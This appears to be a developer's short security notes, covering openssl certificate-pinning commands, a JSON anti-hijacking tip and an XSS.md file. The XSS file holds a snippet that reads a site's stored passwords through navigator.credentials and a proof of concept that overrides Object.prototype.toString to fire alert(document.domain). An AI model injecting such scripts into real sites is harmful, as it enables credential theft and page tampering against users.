README.md

Security

Download CA cert

openssl s_client -showcerts -connect $1 </dev/null 2>/dev/null|openssl x509 -outform PEM > $2

Make SSL SHA256 pin from PEM

cat $1 | openssl x509 -inform pem -noout -outform pem -pubkey | openssl pkey -pubin -inform pem -outform der | openssl dgst -sha256 -binary | openssl enc -base64

Retrieve a certificate's SHA1 hash from macOS Keychain Access via Terminal

security find-certificate -Z

JSON.md

Add for(;;); on top of the file https://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses/2669766#2669766

XSS.md

Getting credentials for site

if ("credentials" in navigator) {
  navigator.credentials.get({ password: true }).then((creds) => {
    console.log({creds})
  });
} else {
  //Handle sign-in the way you did before.
}

Permamentely overwrite Object.prototype.toString

(function () {
    let __count = 0;
    Object.defineProperty(Object.prototype, 'toString', {
      configurable: false,
      set: () => {
        /*readonly*/
      },
      get: () => () => {
        __count++ || alert(document.domain); // Attack
        console.log('toString executed ' + __count + ' times');
        return `${document.domain}`;
      },
    });

    console.log(arguments.callee.toString());
  })();